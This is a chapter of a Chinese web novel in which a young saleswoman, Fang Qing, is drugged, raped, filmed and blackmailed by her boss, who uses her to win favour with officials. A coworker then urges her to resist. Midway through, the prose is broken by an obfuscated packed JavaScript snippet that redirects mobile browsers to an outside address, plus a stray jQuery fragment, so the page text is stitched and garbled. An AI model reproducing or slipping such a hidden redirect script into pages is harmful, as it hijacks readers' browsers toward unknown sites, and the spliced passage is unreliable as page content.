销售部在分公司主楼的二楼东侧，采光最好。落地玻璃窗外能望见厂区笔直的道路和远处冒烟的烟囱，阳光充足的时候，整个办公室明晃晃的，像个巨大的玻璃暖房。方晴的工位靠窗，桌上摆着一盆小小的多肉，翠绿饱满，旁边立着几个颜色鲜艳的卡通手办，电脑屏幕边贴着她和几个同样打扮入时的年轻女孩在KTV的合影，照片里她笑靥如花，举着酒杯，灯光迷离。
她今天穿了件米白色的羊绒衫，质地柔软，衬得她脖颈修长。头发是新烫的波浪卷，松松地披在肩头，妆容精致，睫毛刷得根根分明，唇上是温柔的豆沙色。在销售部一众或西装革履或衣着朴素的同事中，她显得格外出挑，甚至有些扎眼。几个男同事路过她工位时，目光总会不由自主地多停留几秒。女同事们则态度微妙，面上客气，背过身去交换的眼神里，却带着心照不宣的轻慢和一丝不易察觉的嫉妒。
方晴对此似乎浑然不觉，或者说，早已习惯。她正低头看着手机，屏幕上是一条来自哥哥的语音消息，点开，是哥哥带着笑意、中气足了不少的声音：“晴啊，这个月工资发了，老板还给了两百块奖金！活不累，就是看看仓库，清点货物，比在工地强多了！多亏了你和王总……爸妈都说，你在城里出息了，认识贵人。你自己在外头别太省，哥现在也能挣钱了。”
她听着，嘴角不自觉地弯起一个真心的弧度，指尖在屏幕上快速打字：“知道啦哥，你好好干，注意腰。钱不够一定跟我说。” 发送。然后，她退出聊天界面，锁屏，将手机反扣在桌面上，脸上的那点柔和瞬间消失，恢复到一种略带慵懒的、程式化的平静。只有她自己知道，每次听到哥哥声音里的满足和希望，心里那处空落落的地方，才会被一种混合着酸楚和释然的暖意短暂填满。哥哥的工作，是王国华一个开物流公司的朋友安排的，仓库管理员，清闲，稳定，对腰伤恢复也好。这是王国华给她的“甜头”之一，也是最让她觉得“这笔交易或许没那么糟”的砝码。至少，她守护住了哥哥。
她的“光”，从来不是这宽敞明亮的办公室，不是身上柔软昂贵的羊绒衫，甚至不是银行账户里时不时多出的、来路暧昧的钱。她的光是远在西北农村老家，那个因为工伤佝偻了腰、如今终于能挺直些腰板说话、对她满心感激和依赖的哥哥，方伟。只要哥哥好，她觉得自己怎样都行。
方晴老家在陇西一个十年九旱的山沟里。父母是典型的庄稼人，沉默，重男轻女。哥哥方伟大她五岁，从小护着她。她初中毕业考上县高中，是哥哥用建筑队挣的第一笔钱，拍在桌上供她去的。高二那年，哥哥从脚手架摔下，腰椎骨折，干不了重活，亲事也黄了。看着父母唉声叹气、哥哥消沉绝望，她撕掉了“知识改变命运”的标语，辍学来到田閖。洗过盘子，站过柜台，离给哥哥挣够彩礼、治腰伤的钱，却遥遥无期。直到被同乡姐妹拉进“迷梦”KTV，看到了另一种来钱更快的“活法”。
“被一个人骑，总比被万人骑强。” 带她的姐姐叼着烟，眼神麻木。方晴咀嚼着这句话，觉得有道理。如果注定要卖，为什么不卖个价钱更高、更稳定的主顾？当王国华这个“大主顾”出现，不仅提供物质，还能给她一份体面工作，甚至帮她哥哥安排出路时，她觉得这是她能抓住的最好命运了。脏？她早就不干净了。从她决定进“迷梦”那一刻起，从她为了多拿小费第一次默许客人越界的手开始，她就脏了。既然如此，跟着王国华，至少表面光鲜，哥哥安稳，父母在村里也有了面子。一人骑，总好过万人骑。她甚至说服自己，这和那些为了升职加薪讨好上司的白领，没什么本质区别，只是方式更直接罢了。
所以，当后勤办那个叫苏梅的姑娘，几次用那种过于平静、仿佛能看穿一切的眼神打量她，甚至有一次在停车场“偶遇”，状似无意地说起“有些捷径，走着走着就成了唯一的路，回头才发现是悬崖”时，方晴心里是嗤之以鼻，甚至有些恼怒的。
回头？她哪里还有回头路？悬崖？她现在过得不好吗？哥哥有工作，家里有盼头，她吃穿用度比一般白领还好。苏梅懂什么？一个看起来比她更惨、在后勤打杂的女人，有什么资格来评判她的选择？她对方晴的暗示，方晴只当是嫉妒，或是愚蠢的天真。她甚至刻意在苏梅面前，表现出更满足于现状的样子，仿佛在说：看，我选的路，没错。
转变的裂痕，是在一个应酬酒局上出现的。客户是市里某实权部门的一个科长，姓陈，四十多岁，谢顶，眼神黏腻。酒过三巡，陈科长的手就不老实了，借着递酒的机会，在方晴手背、腰肢上流连。方晴强笑着周旋，看向主位的王国华。王国华正和旁人谈笑，似乎没看见。后来，陈科长凑到王国华耳边低声说了几句，王国华笑着点头，然后对方晴使了个眼色，示意她跟陈科长出去“单独聊聊项目细节”。
方晴心里一沉。单独聊聊？在隔壁包厢？她坐着没动，脸上笑容有些僵硬：“王总，陈科长，细节我哪懂呀，还是您二位定……”
王国华脸上的笑容淡了些，语气带着不容置疑：“小方，陈科长是贵客，让你去你就去，好好‘学习学习’。”
陈科长已经站起身，皮笑肉不笑地看着她。包厢里其他人的目光似有若无地扫过来。方晴感到一阵窒息般的屈辱。陪酒赔笑可以，但这种明目张胆的“外卖”，她没答应过！她深吸一口气，尽量让声音平稳：“王总，我有点不舒服，可能陪不好陈科长，要不先……”
“方晴。” 王国华打断她，声音不高，却瞬间让包厢安静下来。他看着她，眼神里没有温度，只有一种冰冷的警告，“陈科长的时间宝贵，别扫兴。”
哥哥憨厚的笑脸，父母在电话里因为收到钱而缓和的声音，还有哥哥那份轻松的工作……像走马灯一样在她脑中闪过。她攥紧了藏在桌下的拳头，指甲深深掐进掌心，疼痛让她维持着一丝清醒。最终，在王国华越来越冷的注视和陈科长不耐的催促下，她垂下眼，极其缓慢地站起身，挤出一个比哭还难看的笑容：“……陈科长，您请。”
那晚发生了什么，方晴的记忆有些模糊。只记得喝了陈科长递过来的红酒后，意识越来模糊，只记得陈科长令人作呕的喘息，记得自己麻木承受时天花板旋转的吊灯，记得她醒来她对着马桶干呕，却什么也吐不出来，只剩下冰冷的眼泪。她慌乱地检查自己，看着镜子里那个脖颈、胸前布满淤痕和咬痕的女人，她知道，王国华出卖了她，她被陈科长□□了，她第一次对自己选择的“一人骑”，产生了剧烈的动摇和恶心，她恨王国华。
她没想到，这仅仅是个开始。不久，王国华再次把她叫到办公室，这次是要她周末去陪一个从省城来的“大人物”，暗示更加露骨。积压的恐惧和屈辱终于冲垮了方晴的伪装，她红着眼睛，第一次对王国华说出了“不”。
“王国华！你当我是什么？随叫随到的妓女吗？陪酒不够，还要陪睡？我不去！” 她声音颤抖，却带着豁出去的决绝。
王国华像是听到了什么笑话，从宽大的老板椅里站起来，慢慢踱到她面前，上下打量她，眼神里是毫不掩饰的轻蔑：“方晴，你是在跟我讨价还价？别忘了你是怎么来的，你现在身上穿的、嘴里吃的、你哥那份轻省工作，是谁给的。摆正自己的位置。” 他伸手，捏住她的下巴，力道大得她痛呼出声，“让你去陪，是看得起你，也是给你机会。那位‘大人物’手指缝里漏点，够你全家舒舒服服过好几年。别给脸不要脸。”
“我不需要这种机会！” 方晴猛地甩开他的手，后退一步，眼泪涌了上来，“我有工作！我能挣钱，我有我的底线！”
“底线？” 王国华嗤笑，仿佛听到了世界上最滑稽的词，“你一个从‘迷梦’出来的，不是我，你哪里有工作？不是我，你早被千万人睡了？跟我谈底线？你的底线值几个钱？你那病歪歪的哥，你爸妈的脸面，值多少？我告诉你，你的底线，就是我说了算！” 他眼神骤然变冷，“周末，老地方，给我收拾漂亮点过去。要是再敢推三阻四……” 他顿了顿，语气变得阴森，“我就让我那朋友，把你哥从仓库‘请’出去。再把你跟了我之后……唔，一些不适合儿童观看的视频，打包寄给你哥。让他们看看，他们花的钱，沾着多脏的东西。”
方晴如遭雷击，瞬间面无血色，浑身抖得如同秋风中的落叶。视频？他什么时候还录了像？她看着王国华那张熟悉又陌生的脸，只觉得一股寒气从脚底直冲头顶，将她最后一点自欺欺人的幻想冻得粉碎。原来，在他眼里，她从来都不是什么“跟了他的女人”，只是一件可以随时用来交换利益、并且留有备份以防不听话的工具。所谓的“一人骑”，不过是她可笑的一厢情愿。
方晴寻死觅活的闹了几天，王国华不仅不为所动，且还接到了哥哥的电话，说老板突然给他放了几天假，想过来看看她。她顿感不妙，谎称出差了。
那晚，她去了。王国华难得地“安抚”她，说只是吃个饭，喝点酒，把那位“大人物”陪高兴了就行，不会让她为难。他甚至亲手递给她一杯“压惊酒”，语气“温和”。方晴心乱如麻，又惧于威胁，接过那杯味道有点怪的酒，一饮而尽。
很快，她就觉得头晕目眩，天旋地转，四肢无力。最后的意识，是王国华模糊的脸，和一个陌生中年男人靠近的、带着烟酒气的身影，以及隐约的、令人毛骨悚然的相机快门声……
再次醒来，是在一家陌生的豪华酒店套房。浑身像是被重型卡车碾过，无处不痛，尤其是下身火辣辣的，仿佛被撕裂。房间里弥漫着腥膻和昂贵香薰混合的怪异气味。她呆滞地躺在凌乱的丝绸床单上，大脑一片空白，仿佛灵魂已经离体。
不知过了多久，手机在床头柜上疯狂震动。她像个生锈的机器人，缓慢地转过头，伸手去够。是王国华发来的彩信。点开，一段模糊但足以辨认的视频片段自动播放——正是她昏迷后，被那个陌生男人摆布蹂躏的画面。紧接着，王国华的电话打了进来。
他的声音透过听筒传来，带着一种事不关己的轻松，甚至有点埋怨：“醒了？视频看到了？啧，这个老张，玩得也太野了，怎么把你弄成这样……我也是刚知道，他居然在酒里下了东西！简直禽兽不如！你放心，我一定替你讨个公道！”
方晴握着手机，嘴唇哆嗦，一个字也说不出来。替她讨公道？下药？他明明亲手递的酒……
“不过小方啊，” 王国华话锋一转，语气变得“推心置腹”，“这事闹大了，对你没好处。视频要是流出去，你哥看了怎么想？你爸妈在村里还怎么做人？你以后还怎么嫁人？听我的，吃个哑巴亏，就当被狗咬了一口。我这边呢，会补偿你的，这个月多给你打两万。明天下午还有个局，城建局赵副局长点名要你作陪，你收拾一下，穿那件我给你买的黑裙子，显得庄重点。这次我保证，就是纯吃饭！”
电话挂断。方晴听着忙音，许久，忽然发出一声短促的、野兽般的哀鸣，然后猛地将手机狠狠砸向对面装饰华丽的墙壁！
“砰！”
手机屏幕碎裂，滑落在地。
她蜷缩起来，把脸埋进膝盖，肩膀剧烈耸动，却发不出像样的哭声，只有压抑的、破碎的抽气声。镜子……房间里有一面巨大的落地镜，但她没有勇气去看。不用看也知道，此刻的自己，比当年在“迷梦”最不堪的时候，还要肮脏，还要破烂。她以为跳出了火坑，却不过是跌进了一个更精致、更残酷的炼狱。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316836|198959||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她守护了哥哥，却把自己彻底献祭给了魔鬼，连最后一点作为人的躯壳，都被撕得粉碎。
不知过了多久，敲门声响起。很轻，但很坚持。
方晴猛地一颤，像受惊的兔子般缩紧身体，惊恐地望向门口。
“方晴，是我，苏梅。” 门外传来那个平静的、此刻听起来有些遥远的女声，“开门。我知道你在里面，也知道发生了什么。”
苏梅？她怎么会找到这里？她想干什么？告密？看笑话？还是……和王国华一伙的？
方晴的心脏狂跳起来，恐惧和一种极致的戒备让她浑身僵硬。她没动，也没出声。
门外安静了片刻，然后，苏梅的声音再次响起，依旧平稳，却像一把冰冷的手术刀，精准地剖开她血淋淋的现实：
“方晴，你以为你是用最小的代价换你哥的安稳日子，对不对？”
方晴的呼吸一滞。
“你觉得他给你哥工作，给你钱，给你表面的风光，是对你还不错，你们之间是有‘情分’的，对不对？”
方晴咬紧了嘴唇。
“那你有没有想过，” 苏梅的声音压得更低，却字字清晰，穿透门板，“他为什么能轻易给你哥工作？因为他手里有无数个像你哥这样的人，需要他‘施舍’，也随时可以被他扔掉。他为什么给你钱？因为他从别处捞的钱，九牛一毛就够买断你的一切。他给你风光？那不过是为了让你更值钱，更方便他待价而沽，送给下一个‘陈科长’、‘张局长’！”
每一个字，都像重锤砸在方晴心上，砸碎她最后那点可悲的自我安慰。
“他不是对你有情分，方晴。他只是在养猪。喂点潲水，把猪养肥养听话，等需要的时候，就拉出去宰了卖肉，或者……像今天这样，当成一份大礼，送给更重要的客人。” 苏梅顿了顿，语气里终于带上了一丝极淡的、近乎残酷的同情，“你现在，就是他刚送出去的一份礼。而这份礼，因为不太听话，下次可能就会被包装得更廉价，送给更不堪的人。直到彻底没用了，就像抹布一样扔掉。录像，就是防止抹布自己跑掉的拴狗绳。”
方晴的眼泪，终于崩溃决堤，汹涌而下。她死死捂住嘴，不让自己哭出声，身体却抖得如同筛糠。苏梅说的每一个字，都和她刚刚经历的噩梦严丝合缝。她不是不懂，只是不敢深想；她想着自己受点委屈，能够给哥哥和家人带来安稳的日子也值了。
“你哥的安稳，是你用自己换来的。但你想过没有，如果哪天你换不动了，或者他找到了更年轻、更听话的‘礼物’，你哥的安稳，还在吗？” 苏梅发出了最后一句质问，然后，语气缓和下来，带着一种冰冷的务实，“方晴，悬崖下面不一定是摔死。有时候，也可能是逼着你找另外的路。一条能把扔你下悬崖的人，也拖下来的路。”
门外再次安静下来，只有方晴压抑的哭泣声在空旷的套房里回响。
良久，哭泣声渐止。方晴慢慢地、艰难地挪下床，踉跄着走到门边。她没有立刻开门，而是背靠着冰凉的门板，声音嘶哑破碎地问：“……你为什么要跟我说这些？你想让我干什么？”
门外的苏梅似乎松了一口气，声音清晰传来：“不想干什么。只是告诉你，你不是唯一一个被他当猪养、当礼物送的人。也有人，不想再当猪，不想再当礼物了。” 她停顿了一下，报了一个时间、一个地点，那是总公司旗下一个的废弃食品厂仓库，“来不来，随你。来了，也许能一起找条活路。不来，就继续当你‘一人骑’的美梦，等着下一次被下药，被录像，被送给不知道哪个阿猫阿狗。”
说完，门外传来轻微的脚步声，渐渐远去。
方晴依旧靠着门，一动不动。脸上泪痕未干，眼神却从一片崩溃的空白，渐渐聚焦，燃起一点冰冷刺骨的、混杂着无尽恨意与绝望求生的幽火。
苏梅的话，像一把烧红的烙铁，烫掉了她自欺欺人的伤疤，露出了下面腐烂流脓的真实伤口。但也像一道极微弱的光，照进了她以为必死无疑的黑暗绝境。
一人骑？美梦？她惨笑一下，看着自己手臂上触目惊心的淤青和牙印。哪有什么美梦，只有永无止境的噩梦和随时会被抛弃、甚至被毁灭的恐惧。
去，还是不去？
她缓缓滑坐在地上，抱住膝盖，将脸埋了进去。脑海中，哥哥满足的笑脸，王国华冰冷的威胁，陈科长油腻的手，陌生男人令人作呕的气息，还有那不断回放的视频片段……疯狂交织冲撞。
去了，意味着什么？对抗王国华？她拿什么对抗？苏梅又能有什么办法？会不会是另一个陷阱？
不去呢？继续这样下去，直到被彻底玩坏、失去价值，然后像垃圾一样被处理掉？连带哥哥刚刚有起色的生活，一起坠回深渊？
时间一分一秒流逝，窗外天色渐暗，华灯初上，城市的霓虹透过窗帘缝隙，在昂贵的地毯上投下光怪陆离的色块。
方晴终于抬起头，脸上泪痕已干，只剩下一种疲惫到极致后的冰冷麻木。她扶着门，慢慢站起身，走到那面巨大的落地镜前。
镜中的女人，衣衫不整，头发凌乱，满脸泪痕，身上遍布施暴后的痕迹，眼神空洞，却又在最深处，跳动着一簇微弱却不肯熄灭的、名为恨意的火苗。
她看了很久，然后，极其缓慢地，抬起手，开始一颗一颗，扣好被扯开的衣扣。动作僵硬，却异常坚定。
明晚八点。
她还没有决定去不去。
但她知道，有些东西，从今晚，从她被下药送入陌生房间、收到胁迫视频的那一刻起，就已经彻底死了。
而另一些东西，正在死亡的灰烬里，狰狞地、痛苦地，挣扎着想要重生。